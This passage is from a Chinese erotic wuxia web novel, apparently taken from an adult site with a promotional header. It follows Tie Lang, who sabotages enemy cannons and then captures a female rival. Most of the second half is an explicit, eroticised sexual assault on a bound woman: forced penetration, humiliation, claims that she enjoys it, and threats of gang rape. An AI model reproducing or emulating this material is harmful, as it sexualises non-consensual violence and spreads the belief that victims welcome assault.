未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

【剑指天下】 11-13集 (全) 作者:萧九


【剑指天下】
  
   作者:萧九
   类别:穿越
   出版:河图文化


  【第十一集】第一话:淩辱道姑

  对于李笑霜这个冰指小仙,就算她化成灰,铁浪也不可能将她忘记。要不是她的冰绾青丝,铁浪根本不可能遇上叶梦岚,更不可能成为淩神尼的唯一男徒而修练淫龙九式。如此说来,铁浪还得好好感谢李笑霜?

  不!李笑霜使出冰绾青丝那刻,她已经对铁浪动了杀机,要不是铁浪福大命大,他早就去拜见西方诸佛了,所以李笑霜是他的敌人,就算要感谢,也要用性虐待的方式!

  见主帅营周围都是鞑靼兵,想去偷窥辛爱和李笑霜是否在做苟且之事的铁浪,还是决定先乾正经事,遂蹲在地上,一边藉着月光看着地图,一边比对周围的景物,以确定自己现在的位置。

  一门火砲不怎幺显眼,但是一百多门绝对很显眼;而且要应对骤变的军事行动,火砲一定是放在容易搬移的地方,地形要平坦,所以铁浪便根据地图大概锁定了几个可能放置火砲的地方,打算全部找一遍。

  收好地图,正準备离开,铁浪便听到了脚步声,一扭头,一个鞑靼兵正朝他走来,不过身处暗处的他似乎没有被发现。见那鞑靼兵提着裤头,铁浪就知道他要干什幺了。

  铁浪慢慢后退,而这内急的鞑靼兵三两步就跨入了草丛,往后看了看,就走到离铁浪不到五步的位置,掏出了命根子,一阵酣畅淋漓之后,鞑靼兵提起裤头往回走。

  「要保命就别出声!」铁浪那把刻龙宝剑已抵住他的喉结。

  「别……别杀我……」

  「回答我几个问题,我便不杀你。」顿了顿,铁浪问道:「这里有几门火砲?」

  「大……大约一百二十多门……」

  「都放在哪里?」

  「这不能说,否则王子会杀了我的。」

  「你不说,现在我就杀了你!」铁浪微微加重了手上的力道,鞑靼兵几乎喘不过气来。

  「在那边。」鞑靼兵急忙指向右侧,「往右一直走,火砲都放在那里。」

  「有多少人把守?」

  「大概……大概一百个人……」

  「你是不是处男?」

  「什……什幺?」鞑靼兵吓了一跳。

  「到底是不是?」

  「是……」

  「那我留你一命,让你回去溥宗接代。」

  「谢……唔……」

  鞑靼兵还没有完全表达出他对铁浪的谢意便被敲晕,衣服和帽子都被铁浪剥了下来。

  铁浪匆匆穿上鞑靼兵的军服,调整着帽子,将刻龙齐剑藏到草逋里,拔出鞑靼兵的弯刀,试了一下手感,确定没什幺问题,便走出草丛,装模作样地提着裤头,还对正在巡逻的鞑靼兵打招呼,接着便往右边走去。

  铁浪一边走,一边观察着地面,地上有多处车辙,一直延仲向前方,看来那个鞑靼兵确实没有撒谎。

  走了半刻钟,铁浪停住了脚步,眼前是一丈髙的草丛,偏中问的位置有一个很大的缺口,缺口两侧各有两名鞑靼兵守着。

  左右两侧都是一丈高的草丛,十分茂密,根本看不到里面的情形,不过这里确实最适合藏匿火砲,至少明军的探子不可能知道火砲究竟有多少门,砲弹的存量又是多少。

  「干什幺的?」一名鞑靼兵走了过来。

  「辛爱王子派我来这里看看你们有没有擅离职守。」铁浪冷哼道。

  「我们都没有偷懒。」趾高气扬鞑靼兵马上就成了缩头乌龟。

  「除此之外,辛爱王子还要我试验火砲。」

  「现在要开砲?」鞑靼兵显然吓到了。

  「不是。进去再和你们说。」走到入口处,铁浪勾了勾手指,道:「你们四个也跟我进来,辛爱王子要求这事要保密,因为他怀疑我们军营中有内奸,否则以我们的实力,怎幺可能拿不下独石城呢?」

  一听这话,四个人面面相觑,都冒出了冷汗,连忙跟在铁浪后面走了进去。

  一走进去,看到那一百多门火砲,这回换铁浪冷汗直冒——横十竖十一,恰好一百一十门,再算上关口处的十门,整整一百二十门!

  每门同时射出一颗砲弹,一百二十颗啊!都不知道要炸死多少人了。独石城部分老百姓的性命,就是被这些火砲夺走的!

  一看到铁浪,正坚守岗位的一百多名鞑靼兵都将目光聚集在铁浪身上,见他后面的四名鞑靼兵对他毕恭毕敬,他们也不敢放肆。
  铁浪没有开口,继续作戏,昂首挺胸,围着场地转了一圈,回到原地,说道:「我受辛爱王子重托,要来这儿完成一项试验。我想问大家,现在有谁想去尿尿或者拉屎的?」

  几乎所有的人都摇头了。

  「有,才能进行试验。」铁浪补充道。

  这次,大部分人都点头了。

  铁浪阴阴一笑,道:「你们到各自位置去,将你们那可以征服娘们的玩意掏出来对準砲口,快点!」

  「是要干什幺?」一名鞑靼兵问道。

  铁浪手指入口,道:「我之前也想向辛爱王子问这个问题,结果原本要和我一起来执行任务的人,问了之后便被王子杀死了,所以我也不知道辛爱王子的用意。其实,我也很好奇,如果你有种,我们在这儿等着,你去问吧!」

  「我随便说说的。你看,我已经站好了。」

  「快点,快点,王子还等着结果呢!」铁浪忙催促道。

  每门火砲由一名鞑靼兵看守着,而入口处的四名鞑靼兵是不需要看守火砲的,但是为了让他们也参与其中,铁浪便要他们四个和另外四个共用一门火砲,这就出现了两根鸡鸡对着一个砲口的场面,让铁浪想起了八片中经常出现的两男对一女。不过要塞满火砲的砲口,估计至少要三十根鸡鸡,当然,如果每根都像铁浪那幺的粗,二十根就可以塞满了。

  确定他们都準备好了之后,铁浪便道:「吸气,收紧菊……屁眼,放鬆,尿!」

  一声令下,一道道尿流便喷进了砲口。

  听着那整齐至极的尿尿声响,铁浪继续道:「我有听辛爱王子提过一点,说尿液与火药搅拌在一块会提高砲弹的威力,特别是当铁片插入明军体内时,不管他们怎幺治疗,最后都是死路一条,所以你们要多尿一点!」

  等到他们都尿完了,整个场地都瀰漫着尿骚味,熏得铁浪有点受不了,他只好捂着鼻子道:「离天亮还有两个多时辰,按照辛爱王子的估算,明军天亮后很可能会进攻,所以在这两个时辰里,谁有尿记得尿进砲口,绝对不允许尿到别的地方,听明白了吗?」

  「是!」

  看着这一张张陌生的面孔,铁浪低下头阴险地笑着,但 起头又是一脸的严肃,道:「好了,大家好好休息,天亮打得明军屁滚尿流!」

  「是!」

  看着他们兴奋的样子,铁浪心中暗笑,走了出去。

  铁浪本想现在立刻返回独石城,但又担心自己这过于简陋的计谋会出意外,到时候明军贸然进攻,而砲管内沾着尿液的火药又被调换了,恐怕明军都会变成焦尸,所以铁浪改变了主意,决定做一件更有利于扭转战况的事。

  走到主帅营附近,铁浪低着头走了过去。

  「主帅已经休息,宵什幺事?」守卫伸手拦下铁浪。

  「刚刚查到关于独石城守军的最新情报,要向主帅报告。」铁浪拱手道。

  「等等。」守卫说了一声便走进去,片刻,他走了出来,摆了摆手,铁浪便低着头走了进去。

  主帅营布置得非常简单,中间一张长方形矮桌,摊放着一张小型的军事地图,右侧挂着一张更大张的军事地图。辛爱的床靠着主帅营偏右,外面还挂着一面白色床帘,所以铁浪只能确定里面有人,但不能确定有几个人,说不定李笑霜正和辛爱在床上玩得不亦乐乎。

  走近几步,铁浪拱手道:「主帅大人,打扰了,有紧急军情。」

  「有什幺事就说吧!这儿没有别人。」辛爱慵懒道。

  「遵命!」铁浪疾步上前,弯刀出鞘,猛地一挥,床帘被斩断落地,将出一张陌生的面孔。

  铁浪一惊,他虽然只在独石城见过辛爱一次,而且那时他还乔装成药店老闆,可不管如何乔装,脸型也不可能变化这幺大——铁浪记得辛爱下巴很尖,可眼前这个男人整张脸都是圆的,根本不是辛爱!

  「救命啊!有刺客,有刺客!」铁浪还没有做出反应,「辛爱」已经放声大叫。

  「该死!」铁浪手一挥,刀影闪过,假辛爱已经脑袋搬家,转身正欲逃出化帅营,眼前却出现两个和铁浪都有一面之缘的人,李笑霜和亚历克!

  「竟敢行刺!杨追悔,这次你可跑不了了!」亚历克二话不说,举起九天金杵击向铁浪。

  铁浪急忙后退,正欲用弯刀砍断支撑主帅营的软木,却被十几枝长矛 先了一步,几声高叫,长矛刺穿了主帅营的帐幕,直接刺向铁浪。

  前有九天金杵,后有长矛,早有打算的铁浪并没有停滞,继续后退,任由长矛刺到自己的身体。

  腰被扎得有点痛,却没有刺破皮肤。

  铁浪一转身,手已抓住长矛,暴喝一声,一股真气涌出,直接震飞了主帅营外的鞑靼兵,同时,铁浪借力将手里的长矛都甩向了数步之外的亚历克。

  没有刀枪不入之体的亚历克没有退缩,而是挥动九天金杵弹开了长矛,弯腰一个迴旋,九天金杵再次搫向铁浪。

  还未反应过来,带着亚历克一身怪力的九天金杵硬生生击中铁浪胸腔。

  闷哼一声,铁浪人被弹出主帅营,重重落地,嘴角溢出鲜血。

  铁浪慌忙爬起来,捂着胸口跳进旁边的草丛。

  「把他留给我。以前他和我师妹戏弄我,我现在要好好折磨他!」亚历克正要追击,李笑霜却阻止了他。

  「他要暗杀辛爱王子,我是王子的护法,绝对要亲手杀了杨追悔!」

  亚历克正要追击,一脸轻鬆的辛爱已从另一顶帐营走了出来,道:「亚历克,你随我去一趟火砲那边,杨追悔便留给李道姑,至少她的冰绾青丝比你的金杵更有用。」

  「好!」亚历克连忙走了过去。

  「我不会让你失望的。」李笑霜冷冷一笑,跳入草丛,紧紧跟在还没跑远的铁浪身后。

  李笑霜追击铁浪时,辛爱和亚历克已经走到了放置火砲之处,一闻到空气中瀰漫着的尿骚味,辛爱忍不住摀住鼻子,简单询问了守在外边的鞑靼兵几句,确定没问题便和亚历克一道离开了,却不知道每门火砲内的火药都被尿液淋得湿答答的。

  「等这次战争结束回国后,我要好好叮咛他们注意军营卫生。」辛爱嘀咕道。

  向来不擅长阿谀奉承的亚历克没有接话,只是安静地跟在辛爱身后,金杵上的八个金环时不时发出噹啷噹啷的声响。

  此时,铁浪已经跑到了离三颅凤凰非常近的位置,而穷追不捨的李笑霜就在十几步之外。

  受到内创的铁浪停住脚步,转身道:「师姐,好久不见啊!想不想师弟呢?」

  「我想死你了!」一身道姑打扮的李笑霜冷冷道:「我正想着,为何冰绾青丝未能夺走你这条狗命!」

  「这是因为我命贱啊!」铁浪笑道:「师姐怎幺和鞑子好上了?」

  李笑霜已拔下一根髮丝,将寒气注入其中,冷冷道:「我听那鞑子说你现在刀枪不入,刚刚看了确实是那幺回事,所以我想知道你究竟练了何种武功。 」

  「然后师姐也想学吗?」

  「明知故问!」

  「可惜这武功只有男人才可以学,除非师姐去装一根那东西。」

  「无知小辈!」李笑霜被气得浑身颤抖,娇声喝道:「我这冰绾青丝连石头都可以插入,就算你刀枪不入,我也相信青丝毒照样可以要了你的小命,识相就快点告诉我!」

  「师姐,你有没有听那鞑子说过我其实还有一只神鸟,有三颗头,全身还会发光?」铁浪嬉笑道。

  「什幺?」

  「你 起头就知道了。」

  李笑霜以为这是铁浪的金蝉脱壳之计,所以根本不往上看,却感觉到上方的空气流动似乎异于寻常,她便 起头,一眼看到三颅凤凰的三颗脑袋,而且都怒瞪着她!

  原来铁浪来到附近时,三颅凤凰已飞了起来,準备随时攻击追杀主人的李笑霜。

  李笑霜还来不及做出反应,三颅凤凰已急速落下,抓住李笑霜的两条胳膊,并将她压在地上,还张嘴低声叫着。从未见过神鸟的李笑霜,当下被吓得花容失色。

  「师姐,现在还想不想学刀枪不入的武功绝学?」铁浪淫笑道。

  「我先杀了你再说!」李笑霜正欲甩出手里的冰绾青丝,三颅凤凰却加重了力道。

  痛得几乎麻痺的手自动鬆开,冰绾青丝掉落在地。

  「有傻鸟在,你是不可能伤得了我的。」铁浪蹲在地上,看着这个颇呉姿色的师姐,嬉笑道:「我看到师姐和那个鞑子一起走进帐中,莫非你为了得到我的武功秘笈,便委身于他?」

  「要不是你三番两次用计,我李笑霜早将你千刀万剐了!」

  看过《剑指天下》前五万字的铁浪,也知道李笑霜多次被杨追悔戏谇,所以对自己恨之入骨也是很正常的,只可惜她现在已是铁浪的囊中之物,要杀要剐都是铁浪说了算。不过比起死亡,性虐待会更加的刺激,而且李笑霜又是一个性格刚烈的人,虐待她将会获得更大的满足感。

  打量着李笑霜,那随着她急促呼吸而起伏的双峰,总是让铁浪充满了遐想。眉头一皱,铁浪一掌拍中李笑霜颈部,李笑霜闷哼一声,头一歪,晕了过去。

  当李笑霜醒来时,发觉双手被脱下的道袍捆绑在一棵树上,丝丝凉风从肚兜下缘往上吹,轻抚着她的乳房。

  李笑霜一低头,差点惊叫出声。藉着月光,她看到自己上半身只剩一件肚兜,下半身则是白色亵裤。

  「你终于醒了,已整整过了一个时辰,看来是我下手太重了。」铁浪正仰躺在三颅凤凰背上,左手拿着半只烧鸡,右手拿着一只酒葫芦,其实里面只是蜂蜜水,并不是酒,毕竟铁浪的酒量向来不怎幺样。

  「这怎幺可能?」李笑霜大惊。

  铁浪说的确实是事实,这一个时辰里他可干了不少好事。先是将李笑霜绑在树上,接着又从火砲场的后方草丛潜入,确定砲管里还是沾着尿液的火药后,找回了刻龙宝剑和夜行衣,驾驭着三颅凤凰回独石城一趟,向海露报告他的进展,并要求明军天亮即对龙啸关发动突袭。之后,铁浪从海露那儿拿到了烧鸡和蜂蜜水,并驾驭着三颅凤凰回到捆绑着李笑霜的地方,本以为她已经醒来了,没想到还在昏迷,所以他只能无聊地躺在傻鸟背上吃烧鸡喝蜂蜜水。

  「师姐应该口渴或者肚子饿了吧,需要吗?」铁浪跳到地面,将半只烧鸡和蜂蜜水举到李笑霜眼前,「要喝还是吃,还是都要?」

  「我要杀了你!」李笑霜怒道,使劲挣扎着,想用内功震断绑着双手的道袍。

  铁浪察觉,遂将真气集中于指尖,在道袍快要裂开的那一瞬问,他也不管能不能点中李笑霜的紫宫穴,手顺势往她双乳间点去。

  「唔……」

  李笑霜哼了一声便没了动作,表情却十分愤怒。

  「别胡乱挣扎了,否则我就点了你的死穴,到时美丽的师姐可就香消玉殒了。」

  见李笑霜气得杏眼圆睁,铁浪更兴奋了,嬉笑道:「师姐,你应该知道我不是一个好惹的人,你虽有冰绾青丝,脑子却没有我灵光,遇到高智商的我,师姐又有什幺胜算呢?」

  「为什幺我觉得你变了一个人?以前的杨追悔,就算再恶劣也不可能这样子侮辱我!」李笑霜依旧挣扎着,却不敢太使劲。

  「人总是会改变的,特别是在这个花花世界中待久了。我只是将自己心中所想表达出来而已。」铁浪凝视着李笑霜,继续道:「师姐若不吃,我可要吃光了。」

  「随你!」

  「随我?呵呵,那后果可严重了,反正现在离天亮还有一个多时辰,我和师姐还有很多时间交流,特别是……」铁浪色瞇瞇地盯着李笑霜纯白色的肚兜,就算月光昏暗,他还是能看到乳尖的大概位置,遂伸手过去握住左乳。李笑霜这种三十岁左右的熟女,乳房已经完全发育,虽比不上施乐的巨乳,可恰好能一掌握住。

  「你干什幺?」向来洁身自好的李笑霜惊叫道。

  铁浪扭过头,道:「傻鸟,隔离这个区域。」

  三颅凤凰点了点头,低鸣一声,已撑开了金色的守护光环。这次的守护光环範围非常大,直接将铁浪和李笑霜都笼罩在内。虽说守护光环表面会有金光闪烁,不过这里距鞑靼的军营还有一段距离,加上铁浪之前的骚扰,就算周围有异动,他们也不敢贸然出击;所以只要李笑霜的声音传不到鞑靼耳中,铁浪就可以尽情玩弄她,唯一的观众就是三颅凤凰。

  铁浪用力搓弄着李笑霜的左乳,淫笑道:「我感觉到师姐的乳头已经硬起来了,没想到这幺快便有了反应,看来师姐很喜欢我的侵犯啊!」

  「胡……胡说……我要杀了你!」李笑霜想阻止铁浪的侵犯,可穴道被点了,她根本反抗不了,而且她也感到敏感的乳头确实随着铁浪那只魔手的抚弄而渐渐硬起,这种感觉让她非常害怕,那是一种从未有过的恐惧,比被冰落夜逐出师门,无处可归还来得恐惧。

  「既然师姐不承认,我只能眼见为凭了。」阴险一笑,铁浪乾脆将半燮烧鸡抛到一边,将酒葫芦放在地上,接着便温柔地解开李笑霜肚兜的繋带。肚兜飘落于地,那对在月光下显得格外嫩白的玉乳便大方地呈现在铁浪面前,随着她紊乱的呼吸不断颤抖着,吸引着铁浪的视线。

  铁浪嚥下口水,舔着髮乾的嘴唇,道:「师姐这对奶子实在是太好看了,乳头的颜色如此粉嫩,看来很少男人来此涉足吧?」

  李笑霜怒瞪着铁浪,叫道:「我们冰墓派向来戒淫,你却做出如此出格之行为,要是师傅知道,她绝对会杀了你!」

  「李笑霜。」铁浪冷盯着她道:「当初你为了学习冰墓派上乘武功,不惜偷取秘笈,后来被师傅发现,才将你逐出师门。之后你又多次为难我与黛柔师姐,要不是看在曾经同为冰墓派的分上,我早将你杀了,你这种人不配再提起师傅!」

  被驳斥得面红耳赤的李笑霜哑口无言,却因为乳头被捏住,而无法控制地哼出声。

  「左边这颗比右边的硬,那就说明师姐确实有了感觉,所以如果我这样子一直捏下去,师姐两颗乳头将会同样的硬,而且师姐下面还会流出水噢。」铁浪邪笑着,捏着乳头的四指加重力道,并快速旋扭着。

  「啊……」李笑霜娇躯微颤,乳房传来的丝丝痛痒让她濒临崩溃。

  「不管你是谁,有一点永远改变不了,你始终是一个女人,上面下面都是你最脆弱的地方。我现在弄你上面你都受不了,要是我弄你下面,你岂不是要爽得死去?」

  「绝对……唔……绝对不能……」李笑霜蛾眉挤在一块,那种又痛又舒服的感觉让她几乎要发疯,她本能地排斥铁浪那粗暴的抚摸,可身体似乎有点享受这种感觉,因为她下面已经湿了,她怕铁浪注意到她那湿润的下体。

  「师姐,我们来玩一个很有趣的游戏。」铁浪鬆开了手,弯腰拾起酒葫芦,「这里面装着蜂蜜水,甜而不腻,现在……」

  李笑霜还未反应过来,铁浪已倒转瓶口,冰凉的液体沿着李笑霜深深的乳沟往下流淌,瞬间流过平坦如镜的小腹,渗入亵裤,沿着腹股沟汇向女性最为私密的蜜穴。当那冰凉的蜂蜜水与蜜穴入口那略显温湿的蜜汁混在一块时,李笑霜差点惊叫出声,双腿更是用力併拢。

  铁浪的手指沿着乳沟往下滑去,停在裤头,问道:「师姐,你下而现在是不是湿了?需要师弟帮忙弄乾净吗?」

  「若你不杀我,我绝对会把你千刀万剐!」李笑霜恶狠狠道。

  「刀对我可没用,我建议你还是用你的冰绾青丝,不过现在暂时没有这个可能性。」铁浪手指已勾开裤头,五指慢慢探入。

  「不许碰我!」李笑霜吼道。

  铁浪收回了手,道:「师弟的手都湿了,不过还没有碰到师姐那儿。这蜂蜜水真甜。」将手放在李笑霜唇边,铁浪道:「师姐先嚐一尝蜂蜜水的味道,待会我再让师姐嗜一嚐你那儿流出来的水。」

  「哼!」李笑霜乾脆将眼睛闭上。

  「看来师姐是想直接嚐一尝那儿的味道了。」铁浪冷冷一笑,顺手一扯,李笑霜的亵裤便被脱至小腿处,那被稀疏耻毛点缀着的阴部暴露在空气中。令铁浪惊讨的是,三十岁左右的李笑霜下体阴毛竟然那幺少,只在耻骨那儿长了一丛倒三角形的阴毛,仔细一看,发觉这丛阴毛并非天然形成,而是有经过一番的修剪。

  「我绝对不会放过你!」李笑霜吼道。

  「师姐,我还没有玩够。」铁浪抓着李笑霜的下巴,冷哼道:「师姐的身材保养得真好,不知道下面被几个男人干过?」

  「我绝对不会放过你!」

  「为了让你更坚定这个信念,我绝对会进一步侵犯师姐,比如插进去。」铁浪淫笑着,手想握住李笑霜的美乳,可那儿都是蜂蜜水,滑溜溜的,根本握不住,还弄得李笑霜娇喘连连,脸上更是增添几分妩媚。

  「师姐的表情可真是可爱。」铁浪俯身含住李笑霜左边的乳头,用力吮吸着,右手旋扭着右边的乳头,左手则沿着她那凝脂般的体侧,往私处摸去。

  「混蛋!」当女性最私密的地方被铁浪的魔手碰触时,李笑霜忍不住骂出了声。

  铁浪用牙齿厮磨着李笑霜的充血乳头,手指则沿着湿漉漉的肉缝来回滑动,身体成熟的李笑霜阴唇非常厚,铁浪的中指便轻易陷入其中,温湿滑涧,再次往下滑动时,他的指头已经找到了洞口。

  「师姐,我的手指可以进去作客吗?」铁浪问道。

  「我会杀了你!」

  铁浪耸了耸肩膀,道:「看来我只能自己来了。」

  「杨追……啊!」

  当铁浪将中指瞬间插入时,下体传来的剧痛让李笑霜差点镦厥,铁浪中指在里面搅拌了好一会儿才拔出来,指上都是鲜血。

  「原来是一个老处女,可惜你的第一次已经给了我这根手指。」铁浪手指在李笑霜眼前晃了晃,道:「不过想必以冰指小仙这等美名,江湖上也没有几个人敢娶师姐。既然要做一辈子的老处女,还不如将第一次给我的手指。」

  李笑霜痛苦地闭上眼,守了三十年的贞操竟然被一根手指夺走了,这是她做梦都没想过的事,隐隐作痛的下体让她恨不得自杀,可她不愿意就这样子死去,她要让眼前这个男人付出惨痛的代价!

  「师姐,怎幺不说话了?」铁浪疑惑道。

  李笑霜睁开眼,露出淡淡的笑意,问道:「师弟,不管你现在想干什幺,师姐都满足你,只是完事之后你要放了师姐,好吗?」

  面对突然态度大变的李笑霜,铁浪自然知道她心里的打算,便顺水推舟道:「如果我插 进去,师姐也同意?」

  「嗯。」李笑霜应道。

  「谢谢师姐的成全。」铁浪连忙抹掉手里的蜂蜜水,掏出了早已勃起的大肉棒。

  一看到铁浪那根青筋暴起的大肉棒,李笑霜倒吸了一口寒气,道:「师弟,你的太大了。」

  「难道师姐看过小号的吗?」铁浪反问道。

  「没……」

  「师姐,你让我舒服了,我便会放了你,以后还会好好疼爱你。」铁浪握着肉棒,

  在李笑霜那还残留着落红的蜜穴口上下摩擦着。

  「师弟……很痒……别这样子……」李笑霜呜咽道。

  「那师姐现在希望我怎幺做?」

  「随便你。」

  「我是你的师弟,自然要迁就师姐了;师姐现在是希望我插进去,还是这样子继续磨?」铁浪故意加快了摩擦速度,还用龟头顶李笑霜那颗充血阴蒂,弄得李笑霜娇喘更甚。

  「如果师弟想插进去,师姐不会拒绝的。」李笑霜媚笑道。

  「那麻烦师姐邀请我进去。」

  「师弟……快点插进来……师姐需要你……」

  铁浪却突然收起了肉棒,冷哼道:「没想到心狠手辣的冰指小仙也有如此淫蕩的一面,真让师弟钦佩不已啊。」

  「你!」李笑霜面露凶相,叫道:「杨追悔,你这混蛋!」

  「我现在终于知道了师姐的真面目,原来师姐是一个人尽可夫的騒货!」

  「随便你怎幺侮辱我,我都无所谓。」

  「我懒得侮辱你,那简直是浪费我的时间,而且就算师姐的身体再乾净,也弥补不了你那变态的心。若我插进去,才是对我的侮辱。」铁浪捡起酒葫芦,邪笑道:「所以我还是打算这样子。」

  「你要干什幺?」

  「这样子。」铁浪将酒葫芦的尖嘴对準了李笑霜的洞口,缓慢插入。

  「唔……混……混蛋……」

  酒葫芦尖嘴大约一寸长,和铁浪拇指差不多粗细,加之李笑霜蜜穴非常紧,所以将尖嘴全部插入时,李笑霜觉得下体被塞满,又因为尖嘴过于冰凉,李笑霜感到一阵颤栗。

  铁浪将酒葫芦置于李笑霜双腿间,防止它滑出来,然后继续用嘴巴吮吸着李笑霜的乳头,用手刺激着李笑霜的阴蒂。

  「唔……唔……」

  如此玩了一刻钟后,铁浪便拔出了酒葫芦,倒转,一丝丝黏腻的淫水从葫芦内流出,像鼻涕般垂在那儿。

  「师姐,看到了没有?这都是你下贱的证明。如果你不是一个下贱的女人,是不可能流出这幺多的水。」闻了闻,铁浪感叹道:「散发着一股臊味,不过还是挺香的。」

  「你继续说,我无所谓。」

  「我也懒得和你说了,反正你是一个让我完全提不起「性」趣的女人。」铁浪再次将酒葫芦插入李笑霜蜜穴内,让她用腿夹住,继续道:「不过我相信明军会很喜欢你这个战利品的,到时候一群还没嚐过鲜的男人扑过来,师姐嘴里含着两根,下面插着两根,左右手各握住一根,还有好多根在排队等着插入,那情景绝对很让人期待。」

  「若冰落夜知道你变得如此淫邪,她绝对会将你逐出师门,娃至杀了你!」李笑霜咬牙切齿道。

  「在那之前,你已经被姦死了。」铁浪跳到了三颅凤凰背上,仰躺着,侧望着李笑霜,道:「我要先睡一觉,天亮就有好戏看了,到时候我倒要看看冰指小仙要如何满足他们。」

  「混蛋!」

  「傻鸟,可以解开守护光环了。」铁浪细声道。

  三颅凤凰低鸣了一声,守护光环也随之解开。

  铁浪看了李笑霜一眼,道:「这儿离鞑靼军营不算远也不算近,你喊大声点,他们会听到的。到时候他们冲来了,我逃之夭夭,而你这个裸体美人会被他们操死,所以要想保住贞洁,麻烦小声点,我还想好好睡一会儿。」铁浪打了一个呵欠,早已开始打架的眼皮已经合上,因为李笑霜一直没出声,所以铁浪一会儿便睡着了。

  一刻钟后,李笑霜叫道:「杨追悔,你这混蛋,快点放了我!」

  铁浪一点反应都没有,只是偶尔用手搔着老是被蚊子亲吻的面颊。

  李笑霜冷冷一笑,闭上眼,运劲集中着真气,费了好大的劲,李笑霜才在丹田集中了一小部分的真气,并将之逼向乳房下缘的中脘穴,感觉到胸口隐隠传来的燥热,李笑霜便一口气将真气逼向膻中穴。

  膻中穴离死穴非常近,所以她只敢将真气逼到膻中,不敢冒险。紫宫、死穴、肭中几乎成一条直线,而且要让真气到达被封死的紫宫穴,就必须经过死穴,那意味着李笑霜很可能会因此丧命!

  看着睡得正酣的铁浪,李笑霜眼中恨意突增,遂试着将膻中处的真气逼向死穴,真气一接近死穴,李笑霜顿时觉得思绪变得浑沌,昏昏欲睡。

  为了沖开紫宫穴,李笑霜一狠心,咬破了嘴唇,让自己变得清醒一点,她可不愿意就此死去。

  控制真气流动的过程中,李笑霜不敢过于躁进,只能一点点地逼运真气,要是流动过多过快,很可能完全触到死穴,便一命呜呼了。

  花费一刻钟,李笑霜才勉强让真气通过死穴。此时,她的嘴角都是鲜血,不只是嘴唇破掉流出的,更多的是因为内伤而呕出来的。

  李笑霜深吸一口气,运劲逼动真气,随着她一声痛苦的呜咽声,被封死的紫宫穴已沖开。

  「哇」的一声,一直积蓄在喉咙处的鲜血喷出,洒得满地都是,落在她那饱满的双乳上,增添了一分凄豔的美。

  低头舔着嘴角,吐了好几口唾沫,李笑霜才觉得口腔内的血腥味淡了一些。获得了自由,李笑霜便张开双腿,微微用力,那还塞在蜜穴内的酒葫芦被挤了出来,噗的一声脱离蜜穴,落在地上。由于蜜穴长时间被尖嘴塞着,所以一时半会也闭不了,淫水还自顾地流出,沿着李笑霜大腿内测往下流。

  月光 照着李笑霜的下体,由于有淫水和蜂蜜水的双重渲染,那丰满的阴部显得水光盈盈,凹陷的肉缝更是神秘异常,谁也想不到铁浪竟然不愿意插入此地,反而让一个没有生命力的酒葫芦佔了便宜。

  休息了好一会儿,李笑霜大乱的气息才恢复得差不多,胸口那股闷气也通畅了许多,只是功力无法完全恢复。

  看着铁浪,李笑霜气得浑身发抖。她咬牙运劲,震断束缚着手腕的道袍,化作碎片落在地上。

  与此同时,李笑霜已拔下一根青丝,注入寒气,柔软的青丝立即竖起,犹如一根夺魄银针,对準铁浪的脖子,李笑霜甩出了冰绾青丝。

  【第十一集】第二话:势如破竹

  李笑霜本以为这次铁浪一定会中招,冰绾青丝却被三颅凤凰突然撑开的守护光环挡下,落在地上。与此同时,铁浪已经睁开眼,冷冷盯着李笑霜。

  李笑霜急忙拉起亵裤,也顾不得上半身的赤裸,转身跑开。

  看着李笑霜的狼狈样,铁浪忍不住笑出声,道:「没想到冰指小仙也有裸奔的一天,早知道刚刚应该把她的亵裤也扯烂,那定会有好戏看!」

  三颅凤凰见铁浪根本没有追击的意思,显得非常困惑,六只眼睛都傻傻地看着他,接着便用脑袋去顶铁浪的胸口,似乎在怂恿他赶快追击。

  「李笑霜用真气沖开了穴道,这会儿肯定受了很重的内伤,天亮那战她定是参与不了的,所以暂时不管她了。」铁浪抚摸着三 颅凤凰的脑袋,瞇眼笑道:「傻鸟,还是你好,在我陷入危险的时候总会帮到我;如果你是个女人,我绝对会娶你的。」

  (主人,我其实就是个女人呀!)

  三颅凤凰鸣叫着,拍打着金翼,恨不得立刻变成人形与铁浪成婚,可妈妈的遗愿她还记得很清楚,她必须以三颅凤凰的形像一直守护着铁浪,直到老死为止。

  「嘘!」铁浪做了一个噤声的手势,道:「我还想再睡一会儿,别太大声,否则会惊动那些鞑靼兵。」望着李笑霜逃窜的方向,铁浪皱眉道:「待会这里应该会很热闹,所以我们还是换个地方睡觉吧。」铁浪捡起酒葫芦,一倒转,李笑霜的淫水就缓缓流出,量还不少。

  「真是个騒货!」铁浪甩开酒葫芦,爬到了三颅凤凰背上,道:「去那边的山顶,还可以睡一会儿呢!我要为天亮的血战养精蓄锐。」

  三颅凤凰立刻载着铁浪飞到了那才三十余丈的小山顶上,如此一来,铁浪可以一边监视鞑靼军营,一边悠然自得地与周公下棋。

  望着鞑靼军营,铁浪不见李笑霜带兵来抓自己,有点无聊的他便靠在三颅凤凰背上睡着了。

  一会儿后,三颅凤凰发出了耀眼金光,熄灭后,一个重点部位被金色羽毛遮蔽着的巨乳小女孩出现在那儿,她伸出雪藕般的双臂将铁浪拥进怀里,表情满足,还带着淡淡的微笑,全身不时散发出微弱的光芒。

  铁浪再次醒来,天已经濛濛亮。

  起身伸了一个懒腰,扭头看着早已恢复傻鸟模样的三颅凤凰,见牠趴在那儿似乎睡着了,铁浪不想吵醒牠,便独自一人走到了山脚下,面巾一戴,身穿夜行衣的他巳经潜入了朦胧的夜色中。

  溜到军营附近,铁浪沿着草丛潜到放置火砲的场地外圈,钻进一丈高的草蕺内,用剑柄撇开那茂密的杂草,没走几步,他已经看到了那一排排火砲,还闻到了尿騒味。

  也许是太累了,现下看守火砲的鞑靼兵都靠在砲架上睡觉,只有三、四名负责执勤的鞑靼兵还在场地周围走动着。

  看準时机,铁浪便溜到一门火砲前,也不管那个还在打瞌睡的鞑靼兵,他将剑柄伸进砲口,在里面戳了好几下,取出,确定火药还很潮湿,这才鬆了口气。

  弯腰随机检查了十口火砲,里面的火药都是潮湿的,完全不可能被引信点着,铁浪这才放心。看来辛爱根本没察觉火砲早已被做了手脚,还将它们当作是秘密武器。

  嘴角翘起的铁浪像一只野猫般钻进了草丛中,一个打滚,人已从草丛另一侧滚了出来。

  「有趣的战争即将开始,不过我还有事要办。」回到三颅凤凰身边,铁浪远眺着正被雾霭笼罩着的独石城,偶尔也注意着鞑靼军营,免得自己的计画被打乱。

